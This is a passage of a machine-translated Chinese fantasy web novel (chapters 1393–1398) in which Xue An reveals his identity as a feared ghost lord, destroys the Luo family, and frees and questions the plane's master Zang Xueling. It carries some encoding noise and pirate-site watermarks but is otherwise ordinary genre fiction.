    Her eyes burst into tears, and she felt that everything she had experienced over the years had become a joke.


    The so-called spoiling is nothing but a scam.


    Even my own birth is intentional.


    Such a blow is simply fatal.

 Chapter 1393： In my eyes, there are no big shots!

    Luo Jingting''s body showed many cracks, which was filled with ghostly air, and there were signs of spontaneous collapse.


    But at this moment, the Buddha seal between her eyebrows suddenly appeared a little light, and then, like an adhesive, she reattached her body that had begun to collapse.


    And Jin Jue also sighed softly, and shouted in a deep voice: "Idiot, I''m not awake yet!"


    This call was like a lion roar, which blew in Luo Jingting''s ears, causing her to be shaken all over, and finally she gradually regained consciousness.


    Then she burst into tears, crying while crying, "Why... why do you still have the Luo family so cruel!"


    Xue An said lightly: "You are wrong! This is not something a Luo family can do!"


    Speaking of this, Xue An raised his eyes and looked at Luo Li, "If I guessed right, someone behind your Luo family should be supporting you! Let me guess if it��s some big figure in the depths of the ghost world. ?"


    "Who are you? Why do you know so much?" Luo Li said quietly.


    "Me?" Xue An smiled, "My name is Xue An!"


    Luo Li has never heard the name Xue An, but at this moment she has gradually recovered from the initial shock, and then took a deep breath and said slowly: "Since you know that this matter has a deep ghost The big man here is intervening, why do you want to be nosy? Are you not afraid that you will end up with a dead body?"


    "Are you threatening me?" Xue An smiled slightly.


    "It''s not a threat, but just telling some facts!" Luo Li said solemnly.


    "Because the person standing behind me is an existence you can''t imagine. If you don''t want to cause trouble, I advise you to stop now, otherwise..."


    "Otherwise?"


    "Otherwise, the consequences will be unimaginable!"


    The audience became quiet again, and only Luo Jingting''s sobbing sound remained.


    Looking at Xue An, who was silent, a look of relief appeared in the eyes of many ghost races.


    Even though they didn''t know about this whole thing, they were both foreign ghost races, and naturally they couldn''t get rid of the relationship.


    If Xue An really wiped out the Luo family, and then rescued the former master of the plane.


    Those waiting in front of them will be the catastrophe.


    So if he retreats now, it will be the best ending.


    "I''m really curious, how big is the big man you are talking about!" Xue An suddenly chuckled and said slowly.


    "It''s an existence you can''t imagine! A powerhouse of the ghost emperor level!" Luo Li said proudly.


    Ghost Emperor!


    The title ���� makes many people feel terrified.


    For them, the ghost emperor is already an existence that can only be looked up.


    As for the higher hall master level, there are already a handful of existences in this ghost world, and they are simply not accessible at their level.


    Xue An chuckled slightly, "Ghost Emperor..."


    "That''s right! The surname is Xue, you leave here now, I can act as if nothing happened! How?"


    Luo Li is very sober now, that is, try to scare away the boy in white as much as possible, and after the incident is reported later, let the big man above deal with Xue An!


    But although her wishful thinking is good, Xue An doesn''t take it at all.


    I saw Xue An slowly saying: "Then what if I don''t leave?"


    "You..." Luo Li raised her eyebrows and was about to speak.


    Xue An waved his hand, "Okay, don''t move out your so-called big man to scare people! Because in my eyes, there is no big man in the ghost world now!"


    These words were extremely arrogant, many people''s complexions sank, and they looked at Xue An with bad eyes.


    Luo Li sneered even more, "The surname is Xue, your strength is good, but if you speak such big words, don''t you fear that the wind will flash your tongue?"


    Xue An laughed, "Sorry, I just made a mistake!"


    apologized?


    Luo Li''s complexion just eased.


    Xue An went on to say: "I will revise it, now in the ghost world, I should be the only real big person!"


    When ���� said this, the audience was in an uproar.


    Baixi and Zongcheng looked at each other, and they all saw the gloat in each other''s eyes.


    Luo Li even sneered, and just thought of ridicule.


    But at this moment, all the voices disappeared instantly, including Luo Li, everyone''s expressions became dull, staring at Xue An in a daze.


    Because at this moment, in front of Xue An, a white flame is floating in the air, swaying slightly.


    Although it was just a small flame, the temperature of the audience rose linearly.


    But Luo Li''s heart is as cold as falling into an ice cellar.


    Because they were all at the same moment, they remembered a scary legend.


    A legend that once had the same fame as the deceased Master Mingjun.


    Xue An stood with his hands behind, and said lightly: "Now... can you be convinced?"


    "God...shenhuoguizun?" Luo Li finally woke up from the infinite shock, and said in a trembled voice.


    Xue An nodded and smiled faintly, "It seems that my reputation has not completely dissipated, and you still remember me. This is really gratifying to me!"


    No one dared to speak.


    Many ghost races have shaken up.


    is not only because this small flame suppressed them in all directions, but more importantly, the appearance of Xue An made them all frightened. 78 Chinese debut


    Luo Li thumped and sat down on the ground, his teeth trembling.


    Because she thought of what Xue An said just now.


    Yes!


    In front of him Except for the disappeared Mingjun, who else in the ghost world would dare to call himself a big man?


    But the question is such an existence, why did you come here?


    These thoughts collided fiercely in Luo Li''s mind, and her complexion was also green and white, and her expression changed.


    Xue An��s gaze glided over her, and finally stayed on Jin Jue Seng who had been chanting the scriptures with his eyes closed, and said leisurely: ��Oh, don��t read it. Do you know where you went wrong now?��


    Jin Jueseng stopped Song Nian, slowly opened his eyes, and looked at Xue An quietly.


    "What do you think I am doing? I asked if you knew you were wrong?" Xue An asked with a smile, but his eyes were cold.


    Under ���� questioning, Jin Jueseng slowly shook his head, "Little monk thought he did nothing wrong!"


    hiss!


    Many people secretly took a breath.


    How courageous this monk is!


    actually dared to disobey the meaning of Shenhuo Guizun in person, is he going to die?


    Xue An couldn''t help but startled slightly, and then asked with interest: "Yes!"


    "Yes! Little monk is right!"


    "You were used by the Luo family to teach Luo Jingting the Dharma, but you were ultimately used to deal with the invaded plane masters. This... is that right?" Xue An''s smile gradually diminished and asked coldly.


    Jin Jueseng was silent for a moment, and then whispered softly: "For the donor, this may indeed be wrong! But for the little monk, there is no right or wrong!"


    78 Chinese update fastest computer terminal: https://

 Chapter 1394： All beings tremble under the flame

    "Because Miss Luo has already entered my Buddhism, whether it is right or wrong, and if she can really inherit this plane, it would be a good thing! Because in this way, the behavior of these ghost races can be restrained and the problem can be completely eliminated. solve!"


    When he said this, Jin Jueseng had an open tone and a calm face. Obviously, he had already thought about this.


    Luo Li''s eyes gradually showed light.


    On the contrary, Luo Jingting looked at Jin Jue in a little stunned, and found that the amiable Master in his eyes suddenly became very strange.


    And these words made Xue An almost laughed. 78 Chinese debut https://https://


    He raised his hand and pointed at Que Wenyuan and others behind him, and said lightly: "Then what do these indigenous ghosts do according to you? What about the **** enmity they bear?"


    Jin Jue Seng put his palms together, "The donor is a person with great supernatural powers, so naturally you should know that everything has cause and effect. The so-called past life causes the present life..."


    Xue An interrupted him directly and said indifferently: "Don''t tell me anything about the cause of the past life and the present life. I just ask you, after the reincarnation, will she still be the same as her?"


    "This����."


    "The memory has changed, the appearance has changed, and even the body has changed! Naturally, people are no longer there, so why let this irrelevant person bear the previous cause and effect?"


    This questioning silenced Jin Jue for a long time, and finally said with some difficulty: "Everything has a certainty, and the poor monk thinks this is the best solution. After all, sacrificing some people is in exchange for the long-term stability of this world. !"


    Xue An sneered, "Then these people deserve to be sacrificed?"


    "This is not what the poor monk meant!"


    "I understand, you are trying to say that you are dead anyway, so you might as well look ahead! After all, let go of your hatred, and you should be settled or not! Right?"


    Jin Jueseng was silent for a moment, then nodded.


    Xue An sneered, "But have you ever thought about it! When they slaughtered these uncontested indigenous ghost tribes, did they ever think about whether their enemies should be settled or not? They invaded this plane, and the restraints were irrelevant. When you are human, have you ever thought of being kind to others?"


    "Now, letting go of a light and flirty sentence will make these people die in vain? I ask you, if you sacrifice you can get world stability, would you like it?"


    Jin Jueseng nodded immediately, and said very firmly: "Little monk is willing!"


    "I knew you would say that! But if you are willing, it cannot represent the opinions of others! Everyone''s life should be respected, not ignored!"


    "Many people say that sacrificing one can get a lifetime of peace! But I just want to ask, why?"


    "Why should these people be sacrificed? Why should a few people have to die in exchange for others to live?"


    "Is this... fair?" 78 Chinese premiere


    Xue An��s series of questions were like a cascade of bullets, making everyone silent.


    A trace of confusion finally appeared in the clear eyes of this Jin Jue Seng.


    As for Yingning, Que Wenyuan and others, tears have already filled their eyes.


    Because they felt that Xue An had spoken all of their heartfelt thoughts.


    "Do you know where you went wrong now?" Xue An asked again.


    Jin Jueseng finally bowed and bowed his salute, "It��s okay for the donor to argue. The little monk lost, I was wrong! But..."


    Jin Jue Seng raised his head, a trace of confusion appeared in his eyes, "If this road is unworkable, will there be other roads?"


    Xue An looked at this Jin Jueseng, and finally nodded, "Of course there will be, and I should have already met!"


    Jin Jueseng shocked all over and looked at Xue An in amazement.


    At the same time, Xue An flicked his finger and passed a divine mind.


    Jin Jue Seng took a closer look, then fell into silence.


    After a while, he laughed.


    "That''s the case! It seems that I still don''t have enough wisdom roots, but it''s just a mystery of incarnation, and I haven''t been able to solve it! It''s ridiculous that I always thought my way was correct!"


    The words are full of joy and admiration.


    Then Jin Jueseng respectfully saluted Xue An for the second time, "Thank you for the kindness of the benefactor, the little monk now finally understands!"


    Xue An nodded, "Just understand! Will you still use me to help you next?"


    Jin Jueseng smiled and shook his head, "There is no need to bother the donor! In fact, no matter if you can find it, the meaning of the existence of the little monk has been completed! That is to prove that this road is not working!"


    After that, Jin Jueseng put his palms together and smiled at Xue An, "Nan Wuwu Buddha! Little monk is going!"


    After that, he slowly closed his eyes, chanted a few scriptures lightly, and then listened to a boom, his whole body turned into a complete golden light and dissipated.


    "Master!" Luo Jingying exclaimed.


    Xue An glanced at the scattered golden light, and said lightly: "Don''t shout, he''s gone!"


    had already suffered a major blow, and now the master who has been with him for many years has left again. This made Luo Jingting''s heart like a knife and he couldn''t cry.


    Xue An ignored these, but turned his head and smiled at the gray-faced Luo Li.


    "It''s time to hit the road!"


    Luo Li shocked all over, and then shouted in horror: "My lord, spare my life! My lord... you kill me, and she won''t be able to release the trapped, because it is not a defense that can be broken by strength!"


    "Who said I was going to break the defense?"


    "Huh?" Luo Li was startled, "But..."


    Xue An flipped his wrist, and the two ancient mirrors appeared in the palm of his hand. He slowly said: "You have always wanted to find these two ancient mirrors, just want to wake her up through this, right?"


    Upon seeing these two ancient mirrors, Luo Li was struck by lightning.


    "You... did you locate it through this ancient mirror?" Luo Li hissed screaming.


    "Yes! And I also know why the messenger behind you wants you to deal with this plane!"


    Xue An smiled coldly, and at the same time Wen Mu Ling stood up, showing black lines on her body.


    "Mingjun! She is Mingjun''s subordinate!" Luo Li almost moaned and exclaimed because she had understood everything in an instant.


    Luo Li felt cold all over when he thought of the relationship between the god-fire ghost and Mingjun.


    "You seem to understand it!"


    "Yes Yes!"


    "So what else do you want to say?" Xue An smiled slightly.


    Luo Li already understood that all begging for mercy is useless.


    She was pale, and suddenly turned her head to look at Luo Jingting, who was still immersed in grief and couldn''t help herself. She hesitated for a moment, and finally said softly.


    "Ting''er, I''m sorry, mother! I shouldn''t have used you as a bet! But you have to believe me, I really like you!"


    Luo Jingting looked at her blankly.


    Luo Li smiled miserably, and then said to Xue An, "Do it!"


    Seeing this scene, Que Wenyuan and Yingning''s eyes appeared intolerable.


    But Xue An didn''t even hesitate, and with a wave of his hand, the white flame instantly rose into the sky, and then split into two, two into four...


    In an instant, the entire city of Chuzhou was covered.


    Under the flames, sentient beings trembled.


    Luo Li suddenly became desperate again and looked at the sky in horror, "No..."


    Xue An said coldly: "The fake mercy before you die is to wait until the next life to use it to others! Good and evil are rewarded, don''t blame others!"


    After that, Xue An raised his hand and said.


    "kill!"

 Chapter 1395： Set up 1 round, see 1 person!

    Killing is never the best way to solve the problem, but it must be the most effective.


    Especially when there is a sea of ??blood and deep enmity between each other, blood can often give you temporary peace.


    At least that''s what Que Wenyuan now thinks.


    When I saw those foreign ghost tribes who used to slaughter their own people for fun, struggle under the sky full of fireworks and beg for mercy, and finally turned into ashes and disappeared.


    She didn''t know when she had already burst into tears, but her heart was full of happiness.


    But those who died can never come back!


    at last.


    The sky full of fireworks gradually dispersed.


    Looking at the Luo Family Mansion and Chuzhou City at this moment, they have completely changed their appearance.


    The foreign ghost tribes who flaunted their might have almost been wiped out, leaving no signs of existence.


    Only a few surviving indigenous ghost races looked at their surroundings with horror, not knowing what happened.


    In the banquet hall, besides Xue An and others, the only one who survived was the Luo Jingting.


    When the fireworks reached her body, the Buddha seal between her brows saved her, so she had survived the fireworks that burned the world just now.


    But even so, at this moment she still sat down on the ground with a sluggish expression, like a wood-carved clay sculpture, without any reaction to everything outside.


    Because just today, or an hour ago, she was still the distinguished Miss Luo family.


    But suddenly, everything changed.


    The mother who was supposed to be the most trustworthy turned into a villain who was ill-intentioned and used herself.


    And the master, after saying some inexplicable words, sat down and left.


    Now, the Luo family has disappeared, and she is the only one left.


    How could this not make her confused and perplexed.


    Xue An glanced at her, shook his head slightly, then turned around and came to the pit, stepped out, and fell straight into the crypt.


    "Ah!" Que Wenyuan let out a quick scream, hurriedly stepped forward to look, and then let out a breath.


    I saw Xue An standing in the void, and what was floating in front of him was the light and shadow.


    After getting closer, you can clearly tell that there is indeed a woman''s shadow in this group of light and shadow.


    Xue An looked at it silently, then raised his hand and gently stroked the light ball.


    The fingers crossed, causing layers of ripples.


    Then Xue An raised his eyebrows slightly.


    Sure enough, as Luo Li said, this defensive array is a bit weird.


    This weirdness doesn''t mean how powerful it is, on the contrary, with Xue An''s strength, with Xue An''s strength, it can be completely crushed by any effort.


    But Xue An could clearly feel that this defensive array was obviously closely related to this plane.


    If this defensive circle is really forcibly destroyed, then no one can predict what will happen to this seat.


    This is also the reason why Luo Li and others voted against rats.


    But this is rare to live with Luo Li and others, but Xue An is not at home.


    He flipped his wrist, the two ancient mirrors appeared in front of him, and Xue An closed his hands together.


    Click!


    After a crisp sound, the two ancient mirrors quickly merged into one, forming a very strange sphere shape, and then began to rotate wildly.


    During the rotation, waves of waves were emitted from the sphere.


    And this defensive circle was also excited by it, showing a little bit of brilliance.


    Xue An held his arms and stood aside and watched quietly.


    Finally, an ethereal atmosphere began to emerge.


    At the beginning, this breath was very small, but it quickly increased rapidly.


    Suddenly, I saw the figure of the woman in the light and shadow suddenly move, and then an aura rose to the sky, and the disturbing situation changed.


    But just under such a momentum, the whole world was cheering and leaping, as if welcoming the return of their long-awaited king.


    Que Wenyuan, Yingning and other indigenous ghost tribes were all shocked when they felt the presence of this breath, and then knelt down with excitement.


    Xue An raised his head and looked at him quietly, with an inexplicable smile on the corner of his mouth.


    at last.


    This soaring light suddenly converged back, and returned to this group of lights and shadows in an instant.


    Then I heard a crisp sound, the light and shadow shattered like an egg shell.


    Amidst the glaring light, Kuan Kuan walked out of a woman.


    Regardless of her appearance, the woman''s posture when she walks can be regarded as graceful and curvy.


    And when he completely walked out of the phoenix, what was revealed was a tender and charming woman with bright eyes.


    When this woman appeared in front of everyone, Yingning and others were already excited and unable to control themselves, and they trembled.


    "I have seen Master Zang Xueling!"


    That''s right, the woman who appeared here was the master of this plane.


    Just when everyone was excited, the woman looked at Xue An quietly, then smiled and squatted.


    "Thank you, my lord, for helping me, Zang Xue is so inspiring!"


    The voice was like a yellow oriole, pleasing to the ear.


    But Xue An didn''t have the slightest expression, just said indifferently, "Is it just to see me after setting up such a big game?"


    Zang Xueling stiffened, and then a wry smile appeared on her face, "Sure enough, I can''t hide it from you!"


    Xue An said leisurely: "When Wen Mu Ling said that after she woke up and found that she had come to this plane, I was already suspicious!"


    "After I came here, it confirmed my suspicion! After all... no one would be named Yingning, Nie Xiaoqian so by chance! Only Chinese people would understand what these names mean, so there is only one explanation, then It''s all these holes you left deliberately, am I right?"


    Zang Xueling''s expression changed slightly, and then she lowered her head and said respectfully: "As expected, Lord Guizun! That''s right, these are the flaws I left behind!"


    Xue An laughed, then raised his eyebrows slightly, and said coldly: "Then I want to ask, what do you want to do so much trouble?"


    Under questioning the atmosphere of the audience suddenly dropped to freezing point.


    Many people''s expressions changed drastically, and they looked at the court with worry.


    Zang Xueling''s complexion couldn''t help being pale, she took two steps back, took a deep breath, and bowed and said: "Master Guizun calmed down. This is not my intentional design to use you! I really have to do it!"


    "Oh? Then why do you have to, now let''s talk about it!" Xue An said slowly, without any expression on his face.


    A wry smile appeared on Zang Xueling''s face, "Master Gui Zun, now that you know that I saved Wen Mu Ling, you naturally understand how much risk I am taking!"


    Xue An didn''t change his expression, which is why he inferred that this matter was strange.


    You must know that Mingjun''s "death" is a major event in the entire ghost world, and it stands to reason that it is not something such a small person like her dared to get involved.


    But she just went to do it, and even saved a shadow guard that she didn''t know before.


    This in itself is full of weirdness.

 Chapter 1396： 2 questions, answer me now!

    But what made Xue An most suspicious was the ancient mirror Zang Xueling gave her before Wen Muling left.


    Not only did it have the coordinates to locate this plane, Xue An also discovered that this ancient mirror was not a complete body, but only half of it was left in a broken version.


    According to the record on the rune, after the two ancient mirrors are integrated, the sleeping ghost can be awakened and given him strength.


    In addition, this ancient mirror has no other functions.


    Xue An was therefore full of curiosity about it, and then came across, wanting to see what was going on.


    What happened later also confirmed Xue An''s thoughts.


    But Xue An didn''t say a word.


    Seeing this, Zang Xueling gritted her silver teeth slightly, and whispered softly: "My lord, if I said that the giants in the ghost world gathered together to deal with Lord Mingjun, I firmly oppose it, do you believe it?"


    "Oh?" Xue An raised his eyebrows slightly, "Are you resolutely opposed?"


    "Yes!" Zang Xueling nodded, "At the beginning, almost all the rich and powerful people in the ghost world gathered together to deal with Lord Mingjun. Although I was not strong enough, I was invited! But I didn''t go! Instead, I looked for it. The other interfaces are pushed off!"


    "Do you know why?"


    "why?"


    "Because I''m sure they will lose! And they will lose miserably!"


    "You probably don''t know!" Zang Xueling suddenly laughed, looking at Xue An with dazzling eyes, "When you galloped in the ghost world with the destiny of the gods, fire and ghosts, I once saw you!"


    Xue An took a deep look at the woman, "Go on!"


    "At that time, your strength is beyond doubt. Naturally, you didn''t notice that a humble girl was watching you from a distance! But you suddenly disappeared later! No one knows where you went! But I only know!"


    Xue An''s eyes burst, "Huh?"


    With a question, a powerful force suddenly descended on Zang Xueling''s body.


    Her complexion suddenly turned pale, but she still looked at Xue An quietly, "Because I happen to have some other news channels, so I know that you are not only a god, fire and ghost, but also a unique red lotus. Xianzun!"


    When she said this, Zang Xueling had already covered the surrounding space, so she couldn''t hear what they were saying outside.


    Xue An did not speak.


    Zang Xueling continued, "So I knew at the time that you were not missing, you just left temporarily!"


    "For this reason, when the so-called rich and powerful people later unite to deal with Lord Mingjun, I know they will undoubtedly lose! Whether it is Lord Mingjun''s strength or his relationship with you, they will not succeed! "


    "So you took the opportunity to rescue Wen Mu Ling, and then planted a bait through her, waiting for me to appear?" Xue An said suddenly.


    Zang Xueling shook his head, "It''s not a bait! In fact, with my little strength, how dare I have the slightest covetous heart for you! I''m just gambling!"


    "Oh? Bet?"


    "That''s right!" Zang Xueling nodded solemnly, "Betting you will come back, and will check the whole thing!"


    "And I also know very well that when those rich people invited me to join, but I pushed them away, this matter will never be good, so I want to leave a glimmer of hope in this way!"


    A wry smile appeared on Zang Xueling''s face, "As a result, the development of the following things was exactly as I expected. After the wealthy people thought they had eliminated Lord Mingjun, they couldn''t wait to attack me!"


    "Compared with those rich and powerful, my strength is of course not worth mentioning! In order to preserve my strength, but also to make these guys cast a mouse, so as to buy time, so I opened the plane suppression and completely sealed myself! "


    Speaking of this, Zang Xueling swept the temples near her ears and smiled happily, "It turns out that I was right!"


    Xue quietly looked at this woman who seemed to be only eighteen or nine years old, her eyes twinkling, she didn''t know what she was thinking.


    If the facts are as she said, then this Zang Xueling''s resourcefulness is amazing.


    At least this step-by-step plan is very impressive.


    "You are so sure that I will be the one who came with the ancient mirror?" Xue An said lightly.


    Zang Xueling shook her head, "Actually I''m not sure at all, but this is a glimmer of hope after all, isn''t it?"


    "At that time, my situation was that I had offended the giants of the ghost world that I couldn''t provoke, and had fallen into a mortal place, so even if there is only a glimmer of hope of comeback, I have to try!"


    Xue An gradually laughed, and the coldness in his eyes gradually faded.


    And seeing Xue An laugh, Zang Xueling couldn''t help but secretly relieved.


    Don''t look at her calmness on the surface, but secretly she was already soaked in cold sweat.


    After all, what he is facing right now is the number one person in the heavens, an unparalleled immortal-level powerhouse!


    Not to mention anything else, just the power just now is enough to make people afraid.


    But looking at the way it looks now, I should have passed the test!


    But she never expected that when she just breathed a sigh of relief, Xue An suddenly stepped forward, grabbed her neck, and lifted it into the air.


    Although they couldn''t hear what the two of them were talking about, the scene where Xue An suddenly pinched Zang Xueling''s neck, everyone saw it.


    All this was in an uproar.


    "Sir, don''t!" Wen Mu Ling exclaimed.


    "My lord!" Que Wenyuan and others were also shouting.


    Xue An seemed to be completely unaware of this, but coldly stared at the pale Zang Xueling, and said coldly.


    "Two questions. First, with your strength at the time, how could you know of my existence? At that time, the heavens were already isolated by Tiewangshan. How did your news channel come from?"


    "Secondly, how do you know that I am a Chinese? No one knows where I came from if you know the original heavens! Not to mention that the Liao Zhai you named is not too famous among the Chinese!"


    "Now... answer my two questions!"


    Xue Anyu is as cold as ice eyes are full of killing intent.


    It is not that he has overreacted, it is that the information is too sensitive.


    Because Xue An was originally the Immortal Venerable, he would inevitably have conflicts with all parties.


    If these beings know where they come from, then the earth will definitely be in a huge crisis.


    Xue An didn''t want to take this risk, so that''s why he asked.


    Zang Xueling''s heart trembled, and the trace of pride just now disappeared, because she felt the biting chill from Xue An.


    She had no doubt that if she dared to conceal it, then this white-clothed boy would break her neck without hesitation, and then decipher her own spirit.


    So she didn''t dare to delay at all, and tremblingly said: "My lord, all the information I know was told by an old man named Zhuge Zang!"


    Xue An was startled when he heard the words, "Zhuge Zang?"


    "Yeah!"

 Chapter 1397： That magic stick!

    The look on Xue An''s face instantly became very strange.


    He certainly knew who Zhuge Zang was.


    The heavens are the first fortune-telling, one-handed hexagrams are said to be able to know the whole world.


    Although in Xue An''s eyes it seems to be a sacred stick, because of its strange and inexplicable methods, no one dares to provoke it among the heavens.


    Even those who are in charge of the Void Master must give three points of courtesy to him.


    However, Xue An has a very good relationship with him, so when he was in Amaterasu Star Territory before, Xue An also took care of his family.


    But the problem is that Zhuge Zang''s whereabouts have always been elusive, even Xue An can hardly find him.


    Then how did he come from the ghost world and meet this Zang Xueling?


    These questions lingered in Xue An''s mind.


    Zang Xueling shuddered and looked pale.


    Because until now, Xue An is still pinching her neck.


    Even with her strength, she doesn''t need to breathe at all.


    But under Xue An''s control, she felt that she was slowly being separated from the world.


    Once completely stripped away, she will be like a fish out of the water and become the object of being slaughtered.


    That feeling made her tremble all over.


    But she did not dare to defy the slightest.


    Because she knew very well how terrifying the delicate and weak youth in front of her was.


    That is the existence that once suppressed all the powers of the heavens and couldn''t raise their heads!


    At this moment, Xue An suddenly released his hand.


    Zang Xueling plunged and fell into the void, panting heavily.


    The people who had mentioned their hearts to their throats could not help but let out a sigh of relief.


    In any case, Xue An did not kill anyone.


    At the same time, Xue An stood in front of Zang Xueling and said blankly: "Now tell me what is going on and how do you know that old **** stick."


    Zang Xueling nodded, took a deep breath, and then began to talk about the past.


    Actually the whole thing is very simple.


    Although Zang Xueling is also a ghost race and is in charge of this plane, she holds different ideas from other ghost races!


    For those killings and **** things, she is very disgusted! Therefore, under her rule, this place has nothing to do with the world, and the human race and the ghost race live in harmony, which can be called a peach blossom.


    It was in this situation that Zang Xueling happened to meet an old man passing by here.


    At that time, Zang Xueling didn''t know that this was the Zhuge Zang that shook the world and made countless big people bend their waists.


    She just thought that the old man was very strange, because many things he said hit Zang Xueling''s heart directly, and nothing was impossible.


    In this case, Zang Xueling naturally respected him in every possible way.


    Zhuge Zang also lived on this plane for some time.


    But one day later, Zhuge Zang suddenly told Zang Xueling that he was leaving!


    Zang Xueling naturally stayed.


    Zhuge Zang just smiled at this and told Zang Xueling.


    After this period of observation, he found that although Zang Xueling was a ghost, he had a good temperament, so he decided to help Zang Xueling.


    Then Zhuge Zang told Zang Xueling all the things about Xue An.


    When I heard that the god-fire ghost master in the ghost world is actually the red lotus immortal queen who stuns the heavens.


    Zang Xueling was utterly shocked.


    Then Zhuge Zang told her that the ghost world will soon be uneasy, but no matter what happens, remember not to oppose Xue An and Xue An''s friends.


    After speaking, Zhuge Zang left without a trace.


    But Zang Xueling always remembered Zhuge Zang''s words, so he resolutely refused the invitations of those rich men later.


    After saying all this, Zang Xueling smiled bitterly: "My lord, including that Liao Zhai was also given to me by Immortal Zhuge! What I said is true, I dare not make half words false!"


    Xue An was silent for a moment, then nodded, and said lightly: "Get up!"


    Xue An can of course hear the truth.


    In fact, if Zang Xueling hadn''t really seen Zhuge Zang, it would be impossible to say his words and deeds so specifically.


    What does this old **** stick want to do? Xue An said something in his heart.


    "Yes!" Zang Xueling stood up tremblingly, her face still horrified.


    "You said there are rich men to deal with you, who are they?" Xue An asked in a deep voice after turning around.


    "My lord, this Luo family is indeed a wealthy family, but it is only a branch of the Luo family that has been stationed in this plane. The real Luo family is still in the depths of the ghost world, and as far as I know, not only The Luo family, the Mo family and the Pan family in the depths of the ghost world also participated in the encirclement and suppression operations!" Zang Xueling said without hesitation.


    She has always been happy to dig holes for the enemy!


    "Jing family and Pan family?"


    "Yes! And I think this little sister should be very clear about the specific situation of these two families!" Zang Xueling looked at Luo Jingting who was sitting on the ground in the distance.


    Xue An didn''t change his expression, appeared directly in front of Luo Jingting, looked at her quietly, and suddenly said, "Do you hate me very much now?"


    After hearing Xue An''s words, Luo Jingting was shocked all over, and finally recovered from the shock and dazedness, and then looked at Xue An blankly, his eyes suddenly showing grief and anger.


    Although he didn''t speak, his eyes explained everything.


    Xue An smiled, "It''s not surprising that you hate me. After all, in your eyes, I killed your mother and the people of your clan! Even if they are unpredictable and even use you as a tool, they are your clan after all, right? ?"


    Luo Jingting''s face was as cold as ice, and he nodded, "Yes!"


    Then he paused, and then slowly said: "Do it!"


    As she said, she slowly closed her eyes.


    "Do it? What do you do?" Xue An asked with a smile.


    "Don''t you want to kill me?"


    "Kill you? Why should I kill you!"


    "Huh?" Luo Jingting suddenly opened his eyes, a trace of confusion appeared on his face.


    She has prepared for the worst.


    She also knew that she was definitely not the opponent of this young man based on her own strength, so she would rather die.


    Xue An laughed, "I think you should have made a mistake. I killed them not because I wanted to kill, but because they deserved to die!"


    Xue An gave Luo a startled smile, "What''s more, do you really think you have the blood of the Luo family?"


    "What are you talking about?" Luo Jingting was shocked Xue An said indifferently: "Ghosts are already extremely difficult to give birth. Do you think they will be willing to use their direct children as tools?"


    Luo Jingting''s complexion instantly turned pale, because she thought of an extremely terrifying fact.


    From childhood to adulthood, only Luo Li took care of herself and never met his father.


    And Luo Li is also true to herself...


    All this rushed to Luo Jingting''s heart, making her cold.


    At the same time, Zang Xueling also landed closer and smiled at Luo Jingting.


    "My lord is right, your life experience is definitely not as simple as you think, and if you want to know the real situation, the best way is to go to the Luo family in the depths of the ghost world to ask what happened!"


    It may be because of Zang Xueling''s breath. After hearing Zang Xueling''s words, the confusion in Luo Jingting''s eyes gradually subsided, and finally he nodded heavily.


    "Okay! I''m naturally going to ask more clearly!"

 Chapter 1398： Mobilize the crowd

    Deep in the ghost world.


    If the shape of the ghost world is similar to an onion hugged tightly together, then the depths of the ghost world are where the core is wrapped.


    Here is only one step away from the central ghost world, the core of the entire ghost world.


    This has also led to the fact that those who can gain a firm foothold here are among the few giants in the entire ghost world.


    Among the wealthy families that are as numerous as the stars, the most famous families are in particular.


    Among them, there is this Luo family.


    As Zang Xueling said, the Luo family stationed on her plane is just a branch of the towering tree of the Luo family.


    The real Luo Family is a behemoth with countless strong men.


    It is the existence that countless people dare not look up.


    And at this moment.


    Luo Qifeng was leaning against the collapse in a cave in the depths of the ghost world, enjoying Maggie''s gentle massage.


    This is another courtyard of the Luo family, but its magnificence is beyond ordinary people''s imagination.


    As the main line of the Luo family, this is just a very humble property for him.


    The luxury of the Locke family can be seen from now on.


    At this moment, there was a burst of chattering and laughter from outside the door, and then two people opened the door and walked in, sitting unceremoniously on chairs.


    Two men walked in. They were all dressed in splendid clothes and had extraordinary temperaments. They were obviously rich children.


    One of them looked at Luo Qifeng who was lying on Maggie''s lap enjoying a massage, and he smiled, "Brother Luo can really calm down!"


    Luo Qifeng knew who was coming without even opening his eyes. He couldn''t help but said indifferently: "Why are you two free to come to me?"


    "Hehe, Brother Luo didn''t know yet, right?" The person who spoke first said with a wink.


    "what do you know?"


    "Huh! Don''t you know? There is a big event!"


    "Oh, big event?" Luo Qifeng opened his eyes all of a sudden, sat up and waved her hand, this Mei Ji bowed and retreated like a ghost.


    Luo Qifeng knew very well that what could bring these two people together and called it a major event was absolutely extraordinary.


    Because of the two people speaking, one is the youngest of the Mo family and the other is the direct line of the Pan family.


    In terms of strength and background, they are not inferior to their own existence.


    That''s why he is so solemn.


    Seeing this, Mo Jing chuckled, "It looks like Brother Luo really doesn''t know! Yes, we also happened to know the news in advance, and then we rushed over without stopping, but counting the time, now your news should be It''s almost here!"


    As soon as the voice fell, a black light suddenly flashed across, and then stopped in front of Luo Qifeng.


    Luo Qi [Long Teng Novel Network www.yzltxs.biz] Feng''s expression condensed, because he saw that this was a secret technique used in the family to convey extremely important information.


    What can be worthy of such an excitement?


    He took it without hesitation, and when he opened it, his pupils shrank instantly, and even his hands began to tremble slightly.


    Pan Yongge, who has been silent since entering, said indifferently: "Brother Luo, what do you think of this matter?"


    Luo Qifeng crushed the divine mind letter in his hand, and then said after a moment of silence: "What do you two think?"


    "How to look? Hey, how else to look at it? This is a once-in-a-lifetime opportunity!" Mo Jing is almost dancing, his face is full of excitement.


    "That''s the Wei family, which ranks first in the Central Ghost Realm! This time there are direct children among them. If we can seize this opportunity, the strengths of our families will not be said to be advancing by leaps and bounds, but they all have it. A great backer!"


    Luo Qifeng looked at Pan Yongge, "Where is Brother Pan?"


    Pan Yongge was silent for a moment, and then slowly said: "Mo Jing is right, we really can''t offend the Wei family, and if the other party really has direct disciples to come, it is indeed a good opportunity! But I always I don��t think it��s that simple!"


    Luo Qifeng nodded, "Yes! The Central Ghost Realm has always regarded itself very high, and the Wei Family is a well-deserved leader in the Central Ghost Realm. How can such an existence suddenly come to us?"


    "Oh, don''t care about him! Anyway, the other party is coming, and has notified us in advance, which shows that it is giving us a chance! So no matter what purpose this Wei family has, we must entertain!" Mo Jing said grinningly.


    Luo Qifeng and Pan Yongge looked at each other, and finally both nodded.


    Because they knew it, Mo Jing was right.


    Regardless of the purpose of the other party, the most important thing is to entertain.


    "What do you two mean?" Luo Qifeng asked.


